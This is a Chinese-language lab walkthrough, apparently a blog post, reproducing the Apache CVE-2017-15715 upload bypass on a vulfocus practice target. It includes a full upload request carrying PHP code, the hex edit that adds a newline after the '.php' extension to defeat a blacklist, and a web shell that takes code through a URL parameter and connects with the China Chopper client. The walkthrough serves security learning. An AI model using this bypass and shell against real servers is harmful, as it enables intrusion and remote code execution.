apache 文件上传 (CVE-2017-15715)漏洞复现

1.漏洞信息

        Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。

漏洞影响版本:Apache HTTPD 2.4.0~2.4.29

2.开启漏洞靶场

a030ebf694ad450d96334ed2b1acb06e.png

 3.打开页面为空白,直接抓包看,发现apache的版本存在此漏洞。

794bdf685b2747c49d975297d71c877d.png

 4.发送到repeater尝试修改方法为POST直接上传php文件,显示bad file,上传失败。

14e9681dc6e946cfa02810b4126c11d7.png

 

POST / HTTP/1.1
Host: vulfocus.fofa.so:50892 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

1.php
-----------------------------9552222486401230933854482358--

5.尝试修改上传文件后缀名为1.php.xxx,上传成功,说明是php黑名单拦截。

69cdefa1cc6340898e246306e8e8f4c5.png

6. 尝试利用该版本存在的漏洞点进行漏洞测试。

此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略。

测试思路是修改1.php后的第一个hex值修改为0a,为了方便找到1.php后的第一个值,我们先将文件名1.php后添加多个a变成1.phpaaaaa,a的hex值为61,方便找到。找到后将第一个61改为0a,改完后需删除剩余的a。

712c625ec8214c3baa93e34687382d01.png

 将第一个61改为0adb12db64a0304a2197c8d00cd72eede1.png

 改完后删除剩余的a,a删除完需留下空行。

45dc95be884d4d2a98cc9d0a4010acf2.png

 再次修改上传文件名字

05098df146164e108742c627085d9733.png

打开浏览器尝试访问该文件,访问路径是 http://IP:port/5.php%0A

在该页面查找flag即可

45772a022ad74c0a9d82e4fae52470a3.png

 7.修改上传代码,尝试使用菜刀连接。

5d0ffc80de0b4204b552e3c83530cb4a.png

 上传成功测试写入是否成功,可以正常解析

http://ip:port/5.php%0A?1=phpinfo();

48a8cd064ba447dc8b0699de596e4123.png

 使用菜刀连接,密码为1

127fc9faa2b04f3ab579a23ffbd77495.png

 

496d7f0b204a42728f6fbd169dec91c5.png

 

 

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值